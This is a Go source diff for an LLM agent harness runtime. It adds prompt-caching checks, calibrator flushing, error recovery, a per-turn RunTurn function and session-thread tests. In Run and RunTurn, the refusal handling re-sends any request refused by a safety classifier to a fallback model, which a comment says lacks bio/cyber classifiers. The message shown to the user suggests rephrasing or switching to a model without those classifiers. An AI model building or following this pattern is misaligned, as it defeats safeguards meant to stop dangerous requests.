// because a fact baked only into the cached static prompt competes
// poorly against the model's own prior statements already visible in
// message history: asked "which model are you" a second time, a model
// tends to just repeat what it told the user earlier in the same
// conversation over a background instruction it read once at the top
// of a large cached block. Resending the fact fresh, every turn, gives
// it the same recency the model grants its own last answer.
DynamicIdentityHint string
// Permission gates tool execution at dispatch time. nil → allow-all.
Permission tool.PermissionChecker
@@ -105,6 +118,14 @@ type Runtime struct {
touchedMu sync.Mutex
touchedFiles []string
// spilledIDs records ToolCallIDs whose oversized results have already
// been written to the deterministic spill path during this Runtime's
// lifetime. Content is immutable per ToolCallID, so once spilled we
// skip the (multi-MB) disk re-write on subsequent turns and only
// rebuild the in-memory marker.
spilledMu sync.Mutex
spilledIDs map[string]bool
// IngestSource controls whether this run's thread is ingested into the KG.
// "chat" (or empty) ingests; any other value skips ingest.
IngestSource string
@@ -114,10 +135,21 @@ type Runtime struct {
calibrator *tokens.Calibrator
// calibratorDirty records that the calibrator was updated during this
// Run and must be flushed to CalibratorStore once at Run end. Accessed
// only on the Run goroutine (EventDone handling + deferred flush), so no
// lock is needed.
calibratorDirty bool
// mcpClients holds the MCP client sessions resolved from
// AgentSpec.MCPServers. Released by Close. Untouched when MCP is
// not used.
mcpClients []*mcp.Client
// runMu enforces the Runtime contract that one session exchange runs at a
// time. TryLock lets a second caller receive a normal error instead of
// corrupting the shared event channel and run-scoped state.
runMu sync.Mutex
}
// Close releases external resources owned by the Runtime — currently
@@ -181,14 +213,26 @@ func (r *Runtime) maybeKickoffAsyncCompaction(msgs []llm.Message, parts []llm.Sy
}
// providerSupportsCaching returns true when the runtime's provider implements
// Anthropic-style explicit prompt caching.
// Anthropic-style explicit prompt caching. The capability interface wins:
// a provider block named "platformai" (or "bedrock", or anything else)
// wrapping the Anthropic implementation still caches. The name check is
// the legacy fallback for custom LLMProvider impls that predate the
// capability interface.
func (r *Runtime) providerSupportsCaching() bool {
if pc, ok := r.LLM.(llm.PromptCachingProvider); ok {
return pc.SupportsPromptCaching()
}
return r.Provider == "anthropic"
}
// providerSupportsMidLoopCompaction returns true for hosted frontier
// providers that handle mid-loop summary injection cleanly.
// providers that handle mid-loop summary injection cleanly. Same
// capability-over-name rule as providerSupportsCaching: an
// Anthropic-shaped provider under a custom name qualifies.
func (r *Runtime) providerSupportsMidLoopCompaction() bool {
if pc, ok := r.LLM.(llm.PromptCachingProvider); ok && pc.SupportsPromptCaching() {
return true
}
switch r.Provider {
case "anthropic", "openai", "gemini":
return true
@@ -223,6 +267,18 @@ func (r *Runtime) snapshotTouchedFiles() []string {
return out
}
// prune shortens oversized tool results in msgs, spilling to disk where
// configured. It carries the Runtime's per-Run spilled-ID set so a result
// already spilled this Run is not re-written to disk on subsequent turns.
func (r *Runtime) prune(msgs []llm.Message, spillCfg spillConfig) {
r.spilledMu.Lock()
if r.spilledIDs == nil {
r.spilledIDs = map[string]bool{}
}
pruneToolResults(msgs, r.maxToolResultLen(), spillCfg, r.spilledIDs)
r.spilledMu.Unlock()
}
// isFileTool reports whether a tool name's input contains a "path" field.
func isFileTool(name string) bool {
switch name {
@@ -234,22 +290,46 @@ func isFileTool(name string) bool {
// Run executes the agent loop for a user message, returning a channel of events.
func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageContent) (<-chan AgentEvent, error) {
r.events = make(chan AgentEvent, 100)
if !r.runMu.TryLock() {
return nil, fmt.Errorf("runtime is already running")
}
events := make(chan AgentEvent, 100)
r.events = events
tr := TraceFrom(ctx)
tr.Mark("agent.run.start", "user_msg_len", len(userMsg), "images", len(images))
go func() {
defer close(r.events)
defer close(events)
defer r.runMu.Unlock()
defer tr.Summary()
// Flush the per-session calibrator once at Run end (all exit paths:
// normal, error, abort) instead of writing to disk on every LLM
// round. EventDone sets calibratorDirty when it folds in a usage
// sample; this defer persists the final state. Registered here so it
// runs regardless of which return below fires.
defer func() {
if r.calibratorDirty && r.CalibratorStore != nil && r.Session != nil && r.calibrator != nil {
ratio, count := r.calibrator.Snapshot()
r.CalibratorStore.Save(r.AgentID, r.Session.Key, ratio, count)
}
}()
// stopReason is read by the OnStop deferred hook below. Each early
// return path reassigns it before returning. Default is "max_turns"
// so the natural fall-through (loop exhausted MaxTurns) records the
// right reason without an explicit assignment at that exit.
stopReason := "max_turns"
if hook := r.AgentLoop.Hooks.OnStop; hook != nil {
defer func() { hook(ctx, stopReason) }()
defer func() { callOnStopHook(ctx, hook, stopReason) }()
}
defer func() {
if recovered := recover(); recovered != nil {
stopReason = "error"
err := recoveredPanicError("runtime", recovered)
r.emit(AgentEvent{Type: EventError, Error: err})
}
}()
// OnUserPromptSubmit may rewrite prompt and/or images BEFORE the
// session sees them. Returning err aborts Run with EventError.
@@ -326,6 +406,26 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
// Computed once per Run so the date stays stable across turns.
dateLine := FormatDateLine(time.Now())
// Tool defs are invariant for the whole Run (tools and permission don't
// change mid-Run), so normalize once instead of per turn (P3).
toolDefs := r.Tools.ToolDefs()
if r.Permission != nil {
toolDefs = r.Permission.FilterToolDefs(toolDefs, r.AgentID)
}
sort.SliceStable(toolDefs, func(i, j int) bool {
return toolDefs[i].Name < toolDefs[j].Name
})
toolDefs, diags := r.LLM.NormalizeToolSchema(toolDefs)
for _, d := range diags {
slog.Info("tool schema normalized",
"tool", d.ToolName,
"field", d.Field,
"action", d.Action,
"reason", d.Reason)
}
var runUsage *llm.Usage // accumulated across all turns; nil until first reported
for turn := 0; turn < maxTurns; turn++ {
if ctx.Err() != nil {
stopReason = "aborted"
@@ -350,7 +450,7 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
kgCh = nil
}
dynamicSuffix := buildDynamicSystemPromptSuffix(dateLine, kgContext)
dynamicSuffix := buildDynamicSystemPromptSuffix(r.DynamicIdentityHint, dateLine, kgContext)
staticText := r.StaticSystemPrompt
parts := []llm.SystemPromptPart{
@@ -364,23 +464,8 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
msgs := assembleMessages(history)
spillCfg := spillConfig{Workspace: r.Workspace, SessionKey: r.Session.Key}
pruneToolResults(msgs, maxToolResultLen, spillCfg)
r.prune(msgs, spillCfg)
toolDefs := r.Tools.ToolDefs()
if r.Permission != nil {
toolDefs = r.Permission.FilterToolDefs(toolDefs, r.AgentID)
}
sort.SliceStable(toolDefs, func(i, j int) bool {
return toolDefs[i].Name < toolDefs[j].Name
})
toolDefs, diags := r.LLM.NormalizeToolSchema(toolDefs)
for _, d := range diags {
slog.Info("tool schema normalized",
"tool", d.ToolName,
"field", d.Field,
"action", d.Action,
"reason", d.Reason)
}
tr.Mark("context.assemble", "turn", turn, "msgs", len(msgs), "tools", len(toolDefs), "sysprompt_chars", len(staticText)+len(dynamicSuffix), "dur_ms_local", time.Since(phaseStart).Milliseconds())
// Wait briefly on any in-flight async compaction kicked off by
@@ -390,7 +475,7 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
r.emit(AgentEvent{Type: EventCompactionDone, Compaction: &res})
history = r.Session.View()
msgs = assembleMessages(history)
pruneToolResults(msgs, maxToolResultLen, spillCfg)
r.prune(msgs, spillCfg)
msgs = prependPostCompactRestore(msgs, r.snapshotTouchedFiles())
}
}
@@ -416,7 +501,7 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
r.emit(AgentEvent{Type: EventCompactionDone, Compaction: &res})
history = r.Session.View()
msgs = assembleMessages(history)
pruneToolResults(msgs, maxToolResultLen, spillCfg)
r.prune(msgs, spillCfg)
msgs = prependPostCompactRestore(msgs, r.snapshotTouchedFiles())
} else {
r.emit(AgentEvent{Type: EventCompactionSkipped, Compaction: &res})
@@ -449,7 +534,7 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
r.emit(AgentEvent{Type: EventCompactionDone, Compaction: &res})
history = r.Session.View()
msgs = assembleMessages(history)
pruneToolResults(msgs, maxToolResultLen, spillCfg)
r.prune(msgs, spillCfg)
msgs = prependPostCompactRestore(msgs, r.snapshotTouchedFiles())
req.Messages = msgs
stream, err = r.LLM.ChatStream(ctx, req)
@@ -475,8 +560,8 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
}
var textContent strings.Builder
var lastUsage *llm.Usage
var toolCalls []llm.ToolCall
var thinkingBlocks []session.ThinkingBlockData
gotFirstToken := false
streamingOn := r.streamingToolsEnabled()
@@ -485,6 +570,10 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
streamSource := stream
retriedNonStreaming := false
preTokenRetried := false
retriedRefusal := false
var refused bool
var refusalCategory string
streamLoop:
for {
for event := range streamSource {
@@ -504,6 +593,14 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
}
r.emit(AgentEvent{Type: EventToolCallStart, ToolCall: event.ToolCall})
case llm.EventThinkingBlock:
if event.ThinkingBlock != nil {
thinkingBlocks = append(thinkingBlocks, session.ThinkingBlockData{
Thinking: event.ThinkingBlock.Thinking,
Signature: event.ThinkingBlock.Signature,
})
}
case llm.EventToolCallDone:
if event.ToolCall == nil {
continue
@@ -527,18 +624,35 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
}()
case llm.EventDone:
refused = event.StopReason == llm.StopReasonRefusal
refusalCategory = event.StopCategory
if event.Usage != nil {
lastUsage = event.Usage
runUsage = addUsage(runUsage, event.Usage)
}
if event.Usage != nil && r.calibrator != nil {
// Recompute the estimate on the CURRENT msgs (which may
// have been reassembled by mid-turn compaction) so the
// calibration ratio matches event.Usage.InputTokens, as
// the pre-debounce code did. The P8 change only debounces
// the disk write (calibratorDirty + deferred flush), not
// the estimate computation.
r.calibrator.Update(event.Usage.InputTokens, tokens.Estimate(msgs, llm.JoinSystemPromptParts(parts), toolDefs))
if r.CalibratorStore != nil && r.Session != nil {
ratio, count := r.calibrator.Snapshot()
r.CalibratorStore.Save(r.AgentID, r.Session.Key, ratio, count)
}
r.calibratorDirty = true
}
case llm.EventError:
if !gotFirstToken && !preTokenRetried {
if newStream, ok := r.recoverFromPreTokenError(ctx, event.Error, &req, &msgs, spillCfg); ok {
preTokenRetried = true
drainKickoffs(kickoffs)
kickoffs = map[string]chan kickoffResult{}
textContent.Reset()
toolCalls = nil
kickoffStopped = false
streamSource = newStream
continue streamLoop
}
}
if gotFirstToken && !retriedNonStreaming {
if ns, ok := r.LLM.(llm.NonStreamingProvider); ok {
slog.Warn("stream died mid-flight; retrying as non-streaming",
@@ -567,6 +681,53 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
return
}
}
// Classifier/model refusal (Claude Fable 5+): HTTP 200,
// stop_reason=refusal, usually no content. Without handling,
// the turn ends as a silent empty success. Retry once on the
// fallback model (refusals are model-specific — Opus-tier
// has no bio/cyber classifiers); otherwise synthesize a
// visible explanation. Mid-stream refusals discard partial
// output per the API contract.
if refused {
if !retriedRefusal && r.FallbackModel != "" && r.FallbackModel != req.Model {
slog.Warn("model refused; retrying on fallback model",
"agent", r.AgentID,
"primary", req.Model,
"fallback", r.FallbackModel,
"category", refusalCategory)
tr.Mark("llm.refusal_fallback", "turn", turn,
"primary", req.Model, "fallback", r.FallbackModel,
"category", refusalCategory)
textContent.Reset()
toolCalls = nil
drainKickoffs(kickoffs)
kickoffs = map[string]chan kickoffResult{}
gotFirstToken = false
kickoffStopped = false
refused = false
retriedRefusal = true
req.Model = r.FallbackModel
retryStream, retryErr := r.LLM.ChatStream(ctx, req)
if retryErr != nil {
stopReason = "error"
r.emit(AgentEvent{Type: EventError, Error: retryErr})
return
}
streamSource = retryStream
continue streamLoop
}
textContent.Reset()
toolCalls = nil
drainKickoffs(kickoffs)
note := "The model declined this request (safety classifier"
if refusalCategory != "" {
note += ", category: " + refusalCategory
}
note += "). Try rephrasing, or switch this agent to a model without these classifiers."
textContent.WriteString(note)
r.emit(AgentEvent{Type: EventTextDelta, Text: note})
}
break streamLoop
}
tr.Mark("llm.stream_end", "turn", turn,
@@ -574,8 +735,13 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
"text_chars", textContent.Len(),
"tool_calls", len(toolCalls))
if textContent.Len() > 0 {
r.Session.Append(session.AssistantMessageEntry(textContent.String()))
if textContent.Len() > 0 || len(thinkingBlocks) > 0 {
if len(thinkingBlocks) > 0 {
r.Session.Append(session.AssistantMessageEntryWithThinking(textContent.String(), thinkingBlocks))
} else {
r.Session.Append(session.AssistantMessageEntry(textContent.String()))
}
thinkingBlocks = nil
if r.KG != nil {
r.kgMu.Lock()
thread = append(thread, Message{
@@ -592,7 +758,7 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
}
tr.Mark("agent.done", "turn", turn, "reason", "no_tool_calls")
stopReason = "completed"
r.emit(AgentEvent{Type: EventDone, Usage: lastUsage})
r.emit(AgentEvent{Type: EventDone, Usage: runUsage})
r.maybeKickoffAsyncCompaction(msgs, parts, toolDefs)
return
}
@@ -676,7 +842,43 @@ func (r *Runtime) Run(ctx context.Context, userMsg string, images []llm.ImageCon
})
}()
return r.events, nil
return events, nil
}
// recoverFromPreTokenError attempts the same recovery the synchronous
// ChatStream-error path performs, for an error delivered via EventError
// before any token arrived (Anthropic/Gemini deliver HTTP errors this way).
// Returns a fresh stream to resume from and true if recovered; false if the
// error is not recoverable (caller should abort). May mutate *req (model
// swap) and the session (compaction), and reassigns *msgs on compaction.
func (r *Runtime) recoverFromPreTokenError(ctx context.Context, err error, req *llm.ChatRequest, msgs *[]llm.Message, spillCfg spillConfig) (<-chan llm.ChatEvent, bool) {
if compaction.IsContextOverflow(err) && r.Compaction != nil {
r.emit(AgentEvent{Type: EventCompactionStart})
res, _ := r.Compaction.MaybeCompact(ctx, r.Session, compaction.ReasonReactive, "")
if res.Compacted {
r.emit(AgentEvent{Type: EventCompactionDone, Compaction: &res})
history := r.Session.View()
newMsgs := assembleMessages(history)
r.prune(newMsgs, spillCfg)
newMsgs = prependPostCompactRestore(newMsgs, r.snapshotTouchedFiles())
*msgs = newMsgs
req.Messages = newMsgs
if s, e := r.LLM.ChatStream(ctx, *req); e == nil {
return s, true
}
} else {
r.emit(AgentEvent{Type: EventCompactionSkipped, Compaction: &res})
}
}
if r.FallbackModel != "" && r.FallbackModel != req.Model && llm.IsRetryableModelError(err) {
slog.Info("llm fallback model engaged (stream error)",
"agent", r.AgentID, "primary", req.Model, "fallback", r.FallbackModel, "err", err.Error())
req.Model = r.FallbackModel
if s, e := r.LLM.ChatStream(ctx, *req); e == nil {
return s, true
}
}
return nil, false
}
// RunSync is a convenience method that runs the agent and collects the
@@ -692,6 +894,8 @@ func (r *Runtime) RunSync(ctx context.Context, userMsg string, images []llm.Imag
switch event.Type {
case EventTextDelta:
response.WriteString(event.Text)
case EventAborted:
return response.String(), context.Canceled
case EventError:
return response.String(), event.Error
}
@@ -721,28 +925,28 @@ func (r *Runtime) dispatchTool(
// BeforeToolUse fires before the PermissionChecker. A hook denial
// has the same observable shape as a Permission.Check denial.
if hook := r.AgentLoop.Hooks.BeforeToolUse; hook != nil {
d, err := hook(ctx, tc.Name, tc.Input)
d, err := callBeforeToolHook(ctx, hook, tc.Name, tc.Input)
if err != nil {
res := r.appendDenialResult(tc.ID, err.Error(), kgThread)
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
if !d.Allow {
res := r.appendDenialResult(tc.ID, d.Reason, kgThread)
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
}
if r.Permission != nil {
if d := r.Permission.Check(ctx, r.AgentID, tc.Name, tc.Input); d.Behavior == tool.DecisionDeny {
if d := callPermissionCheck(ctx, r.Permission, r.AgentID, tc.Name, tc.Input); d.Behavior == tool.DecisionDeny {
res := r.appendDenialResult(tc.ID, d.Reason, kgThread)
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
@@ -752,7 +956,7 @@ func (r *Runtime) dispatchTool(
return r.appendAbortedResult(tc.ID, kgThread), true
}
result, err := r.Tools.Execute(ctx, tc.Name, tc.Input)
result, err := callToolExecute(ctx, r.Tools, tc.Name, tc.Input)
if err != nil {
result = tool.ToolResult{Error: err.Error()}
}
@@ -778,7 +982,7 @@ func (r *Runtime) dispatchTool(
}
if hook := r.AgentLoop.Hooks.AfterToolUse; hook != nil {
hook(ctx, tc.Name, tc.Input, result)
callAfterToolHook(ctx, hook, tc.Name, tc.Input, result)
}
return result, false
@@ -789,27 +993,27 @@ func (r *Runtime) dispatchTool(
// streaming kickoff goroutines.
func (r *Runtime) executeToolKickoff(ctx context.Context, tc llm.ToolCall) (result tool.ToolResult, aborted bool) {
if hook := r.AgentLoop.Hooks.BeforeToolUse; hook != nil {
d, err := hook(ctx, tc.Name, tc.Input)
d, err := callBeforeToolHook(ctx, hook, tc.Name, tc.Input)
if err != nil {
res := tool.ToolResult{Error: err.Error()}
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
if !d.Allow {
res := tool.ToolResult{Error: d.Reason}
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
}
if r.Permission != nil {
if d := r.Permission.Check(ctx, r.AgentID, tc.Name, tc.Input); d.Behavior == tool.DecisionDeny {
if d := callPermissionCheck(ctx, r.Permission, r.AgentID, tc.Name, tc.Input); d.Behavior == tool.DecisionDeny {
res := tool.ToolResult{Error: d.Reason}
if after := r.AgentLoop.Hooks.AfterToolUse; after != nil {
after(ctx, tc.Name, tc.Input, res)
callAfterToolHook(ctx, after, tc.Name, tc.Input, res)
}
return res, false
}
@@ -817,7 +1021,7 @@ func (r *Runtime) executeToolKickoff(ctx context.Context, tc llm.ToolCall) (resu
if ctx.Err() != nil {
return tool.ToolResult{Error: "aborted by user"}, true
}
result, err := r.Tools.Execute(ctx, tc.Name, tc.Input)
result, err := callToolExecute(ctx, r.Tools, tc.Name, tc.Input)
if err != nil {
result = tool.ToolResult{Error: err.Error()}
}
@@ -828,7 +1032,7 @@ func (r *Runtime) executeToolKickoff(ctx context.Context, tc llm.ToolCall) (resu
r.recordFileTouch(extractPathFromInput(tc.Input))
}
if hook := r.AgentLoop.Hooks.AfterToolUse; hook != nil {
hook(ctx, tc.Name, tc.Input, result)
callAfterToolHook(ctx, hook, tc.Name, tc.Input, result)
}
return result, false
}
+278
View File
@@ -0,0 +1,278 @@
package runtime
import (
"context"
"encoding/base64"
"encoding/json"
"fmt"
"sort"
"strings"
"time"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/session"
)
// TurnResult describes the outcome of a single RunTurn call.
type TurnResult struct {
Done bool // true when no tool calls were produced (loop should stop)
StopReason string // "continue" | "completed" | "error" | "aborted"
Entries []session.SessionEntry // entries appended during THIS turn, in order
Err error
Usage *llm.Usage
}
// TurnEmit is an optional live-streaming callback. Pass nil for headless
// execution (e.g. durable replay, where live emission must be suppressed).
type TurnEmit func(AgentEvent)
// RunTurn executes exactly one turn of the agent loop against the current
// session and returns the entries it produced. The first call of a session
// passes the user message; continuation calls pass "".
//
// RunTurn is the durable unit for a per-turn driver: each call can be wrapped
// as a checkpointed step whose return value (TurnResult.Entries) rebuilds
// session state on replay. It differs from Run by design: it is headless
// (live events go only through the emit callback, never an internal channel),
// it dispatches tool calls serially (Run parallelizes concurrency-safe
// batches), and it does NOT perform compaction, streaming-tool kickoff, or the
// trace/slog emissions that Run's emitToolResult produces (those remain Run's
// responsibility). It DOES perform bounded-synchronous knowledge-graph recall on
// the first round of an exchange (folding the hint into the system prompt) and
// async knowledge-graph ingest on the completing round.
func (r *Runtime) RunTurn(ctx context.Context, userMsg string, images []llm.ImageContent, emit TurnEmit) (TurnResult, error) {
if emit == nil {
emit = func(AgentEvent) {}
}
startLen := len(r.Session.Entries())
if userMsg != "" || len(images) > 0 {
if len(images) > 0 {
var imgData []session.ImageData
for _, img := range images {
imgData = append(imgData, session.ImageData{
MimeType: img.MimeType,
Data: base64.StdEncoding.EncodeToString(img.Data),
})
}
r.Session.Append(session.UserMessageWithImagesEntry(userMsg, imgData))
} else {
r.Session.Append(session.UserMessageEntry(userMsg))
}
}
if ctx.Err() != nil {
return r.turnSlice(startLen, true, "aborted", nil, ctx.Err()), nil
}
history := r.Session.View()
msgs := assembleMessages(history)
toolDefs := r.Tools.ToolDefs()
if r.Permission != nil {
toolDefs = r.Permission.FilterToolDefs(toolDefs, r.AgentID)
}
sort.SliceStable(toolDefs, func(i, j int) bool { return toolDefs[i].Name < toolDefs[j].Name })
toolDefs, _ = r.LLM.NormalizeToolSchema(toolDefs)
// KG recall (first round of the exchange only): bounded-synchronous so a
// slow embedder cannot stall the turn. The hint is a non-cached suffix —
// it varies per query, so caching it would poison the static prefix cache.
var kgHint string
if r.KG != nil && (userMsg != "" || len(images) > 0) && r.KG.ShouldRecall(userMsg) {
rctx, cancel := context.WithTimeout(ctx, 800*time.Millisecond)
kgHint = r.KG.Recall(rctx, userMsg)
cancel()
}
dynamicSuffix := buildDynamicSystemPromptSuffix(r.DynamicIdentityHint, "", kgHint)
parts := []llm.SystemPromptPart{{Text: r.StaticSystemPrompt, Cache: true}}
if dynamicSuffix != "" {
parts = append(parts, llm.SystemPromptPart{Text: dynamicSuffix, Cache: false})
}
req := llm.ChatRequest{
Model: r.Model,
Messages: msgs,
Tools: toolDefs,
MaxTokens: 8192,
SystemPromptParts: parts,
CacheLastMessage: r.providerSupportsCaching(),
Reasoning: r.Reasoning,
}
stream, err := r.LLM.ChatStream(ctx, req)
if err != nil {
if r.FallbackModel != "" && r.FallbackModel != req.Model && llm.IsRetryableModelError(err) {
req.Model = r.FallbackModel
stream, err = r.LLM.ChatStream(ctx, req)
}
if err != nil {
emit(AgentEvent{Type: EventError, Error: fmt.Errorf("llm error: %w", err)})
return r.turnSlice(startLen, true, "error", nil, err), nil
}
}
var textContent strings.Builder
var toolCalls []llm.ToolCall
var thinkingBlocks []session.ThinkingBlockData
var lastUsage *llm.Usage
retriedRefusal := false
streamLoop:
for {
var refused bool
var refusalCategory string
for event := range stream {
switch event.Type {
case llm.EventTextDelta:
textContent.WriteString(event.Text)
emit(AgentEvent{Type: EventTextDelta, Text: event.Text})
case llm.EventToolCallStart:
emit(AgentEvent{Type: EventToolCallStart, ToolCall: event.ToolCall})
case llm.EventThinkingBlock:
if event.ThinkingBlock != nil {
thinkingBlocks = append(thinkingBlocks, session.ThinkingBlockData{
Thinking: event.ThinkingBlock.Thinking,
Signature: event.ThinkingBlock.Signature,
})
}
case llm.EventToolCallDone:
if event.ToolCall != nil {
toolCalls = append(toolCalls, *event.ToolCall)
}
case llm.EventDone:
refused = event.StopReason == llm.StopReasonRefusal
refusalCategory = event.StopCategory
if event.Usage != nil {
lastUsage = event.Usage
}
case llm.EventError:
emit(AgentEvent{Type: EventError, Error: event.Error})
return r.turnSlice(startLen, true, "error", lastUsage, event.Error), nil
}
}
// Same refusal contract as Run: retry once on the fallback model,
// else surface a visible explanation instead of empty silence.
if refused {
if !retriedRefusal && r.FallbackModel != "" && r.FallbackModel != req.Model {
retriedRefusal = true
textContent.Reset()
toolCalls = nil
req.Model = r.FallbackModel
retryStream, retryErr := r.LLM.ChatStream(ctx, req)
if retryErr != nil {
emit(AgentEvent{Type: EventError, Error: retryErr})
return r.turnSlice(startLen, true, "error", lastUsage, retryErr), nil
}
stream = retryStream
continue streamLoop
}
textContent.Reset()
toolCalls = nil
note := "The model declined this request (safety classifier"
if refusalCategory != "" {
note += ", category: " + refusalCategory
}
note += "). Try rephrasing, or switch this agent to a model without these classifiers."
textContent.WriteString(note)
emit(AgentEvent{Type: EventTextDelta, Text: note})
}
break streamLoop
}
if textContent.Len() > 0 || len(thinkingBlocks) > 0 {
if len(thinkingBlocks) > 0 {
r.Session.Append(session.AssistantMessageEntryWithThinking(textContent.String(), thinkingBlocks))
} else {
r.Session.Append(session.AssistantMessageEntry(textContent.String()))
}
}
if len(toolCalls) == 0 {
// Exchange complete: ingest the full thread once. Background + best-effort
// (the KG spawns its own bounded goroutine), so it never delays the turn.
// context.Background() because the request ctx may be cancelling and the
// ingest goroutine deliberately outlives the turn. Unlike Run, RunTurn does
// not pre-filter trivial threads or gate on IngestSource: the KG impl owns
// its own growth gate (so single-message threads are skipped there), and the
// only RunTurn caller today is the chat serve loop. TODO: if a reviewer or
// subagent path is ever migrated to RunTurn, add an IngestSource-style gate
// here so non-chat transcripts are not ingested.
if r.KG != nil {
r.KG.Ingest(context.Background(), sessionThread(r.Session.View()))
}
emit(AgentEvent{Type: EventDone, Usage: lastUsage})
return r.turnSlice(startLen, true, "completed", lastUsage, nil), nil
}
// RunTurn dispatches tool calls serially by design: deterministic
// ordering keeps durable replay simple, and parallel/concurrency-safe
// batching deliberately stays in Run (see the doc comment). dispatchTool
// appends the tool_call and tool_result entries to the session.
for _, tc := range toolCalls {
result, aborted := r.dispatchTool(ctx, tc, nil)
emit(AgentEvent{Type: EventToolResult, ToolCall: &tc, Result: &result})
if aborted {
return r.turnSlice(startLen, true, "aborted", lastUsage, ctx.Err()), nil
}
}
return r.turnSlice(startLen, false, "continue", lastUsage, nil), nil
}
// turnSlice builds a TurnResult from the entries appended since startLen.
// It assumes a single active turn per session: the delta entries[startLen:]
// is correct only because no other goroutine appends to this session
// concurrently during the turn.
func (r *Runtime) turnSlice(startLen int, done bool, reason string, usage *llm.Usage, err error) TurnResult {
all := r.Session.Entries()
var delta []session.SessionEntry
if startLen <= len(all) {
delta = append(delta, all[startLen:]...)
}
return TurnResult{Done: done, StopReason: reason, Entries: delta, Usage: usage, Err: err}
}
// sessionThread converts session history into the minimal []Message the
// KnowledgeGraph ingests, mirroring how Run accumulates its thread: user and
// assistant messages by role+text, tool calls as "[tool: name]\n<input>"
// (assistant), tool results as their output or "[error] <err>" (user).
// Compaction/meta and non-user/assistant message entries are skipped — the
// thread carries only conversation turns and tool exchanges.
// On the runtime's per-turn serve path each call sees one turn's fresh session,
// so a compaction summary's absence here is intentional, not a gap.
func sessionThread(history []session.SessionEntry) []Message {
var thread []Message
for _, e := range history {
switch e.Type {
case session.EntryTypeMessage:
if e.Role != "user" && e.Role != "assistant" {
continue // skip system/summary messages
}
var d session.MessageData
if json.Unmarshal(e.Data, &d) != nil {
continue
}
thread = append(thread, Message{Role: e.Role, Content: d.Text})
case session.EntryTypeToolCall:
var d session.ToolCallData
if json.Unmarshal(e.Data, &d) != nil {
continue
}
thread = append(thread, Message{
Role: "assistant",
Content: fmt.Sprintf("[tool: %s]\n%s", d.Tool, string(d.Input)),
})
case session.EntryTypeToolResult:
var d session.ToolResultData
if json.Unmarshal(e.Data, &d) != nil {
continue
}
content := d.Output
if d.Error != "" {
content = "[error] " + d.Error
}
thread = append(thread, Message{Role: "user", Content: content})
}
}
return thread
}
+216
View File
@@ -0,0 +1,216 @@
package runtime
import (
"context"
"encoding/json"
"testing"
"time"
"github.com/sausheong/harness/llm"
"github.com/sausheong/harness/session"
"github.com/stretchr/testify/require"
)
func TestSessionThread_RendersEntries(t *testing.T) {
sess := session.NewSession("a", "k")
sess.Append(session.UserMessageEntry("hello"))
sess.Append(session.AssistantMessageEntry("hi there"))
sess.Append(session.ToolCallEntry("tc1", "echo", json.RawMessage(`{"x":1}`)))
sess.Append(session.ToolResultEntry("tc1", "echoed", "", nil))
sess.Append(session.ToolResultEntry("tc2", "", "boom", nil))
thread := sessionThread(sess.View())
require.Equal(t, []Message{
{Role: "user", Content: "hello"},
{Role: "assistant", Content: "hi there"},
{Role: "assistant", Content: "[tool: echo]\n{\"x\":1}"},
{Role: "user", Content: "echoed"},
{Role: "user", Content: "[error] boom"},
}, thread)
}
func TestSessionThread_SkipsCompaction(t *testing.T) {
sess := session.NewSession("a", "k")
// Compaction is appended FIRST so the entries that follow remain on the
// View() walk-back path. View() stops its back-walk at the most recent
// compaction (inclusive), so appending user/assistant AFTER it yields
// View() == [compaction, user, assistant] — the compaction is genuinely
// present in the slice handed to sessionThread, exercising the skip path.
// (Appending compaction last would make it the leaf, and View() would
// return only [compaction], never reaching the messages.)
sess.Append(session.CompactionEntry("summary", "", "", "m", 0, 0, 0))
sess.Append(session.UserMessageEntry("hello"))
sess.Append(session.AssistantMessageEntry("hi"))
view := sess.View()
require.Equal(t, session.EntryTypeCompaction, view[0].Type, "View() must include the compaction entry to exercise the skip")
got := sessionThread(view)
require.Equal(t, []Message{
{Role: "user", Content: "hello"},
{Role: "assistant", Content: "hi"},
}, got)
}
func TestSessionThread_SkipsUndecodableEntry(t *testing.T) {
history := []session.SessionEntry{
{Type: session.EntryTypeToolCall, Data: []byte("not json")},
session.UserMessageEntry("after"),
}
got := sessionThread(history)
require.Equal(t, []Message{{Role: "user", Content: "after"}}, got)
}
func TestSessionThread_Empty(t *testing.T) {
require.Nil(t, sessionThread(nil))
}
// fakeKG is a controllable KnowledgeGraph for RunTurn wiring tests.
type fakeKG struct {
shouldRecall bool
recallReturn string
recallDelay time.Duration
recallCalls int
recallQuery string
ingestCalls int
ingestThreads [][]Message
}
func (f *fakeKG) ShouldRecall(q string) bool { return f.shouldRecall }
